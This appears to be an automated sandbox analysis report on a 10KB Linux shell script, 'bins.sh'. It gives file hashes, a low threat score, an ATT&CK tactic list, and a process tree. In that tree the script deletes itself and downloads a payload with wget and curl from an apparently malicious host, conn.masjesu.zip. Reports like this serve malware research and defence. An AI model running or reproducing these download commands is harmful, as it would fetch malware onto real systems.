88cd1dec7e52a438b0e316ca47298b7b73376741a5c423d7de924a29208782cc

Analysis

max time kernel
148s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
20/10/2024, 19:21

Target
bins.sh
Size 10KB
Sample241020-x2m2saware
SHA256 88cd1dec7e52a438b0e316ca47298b7b73376741a5c423d7de924a29208782cc
MD5 4df258afac082c765345136687fdb240
SHA1 0cdbf5333864ea193e81b258a488b509df0bed0a
SHA512 ad97012e97547376dc1525f12c378e6cf8a864ec108266cc9a8875ae99b65a8a68eca912a1175e43584f1298bee6471c7c67d8f8af9416a5847fdaf39894ad5e
SSDEEP 192:FhU03aGPwo229c4kQMNyqJOpsxl47T/U03aGzm229csyxl47TfQMNyqI:FaOkQMNyqJOpsxl47Toyxl47TfQMNyqI
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

discovery

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

pid	Process
1527	wget
1528	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1525
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
  2⤵
  - System Network Configuration Discovery
  PID:1527
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LkORURb6UsJB4YDCaSHURVJpnssGyXSEHM
  2⤵
  - System Network Configuration Discovery
  PID:1528

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact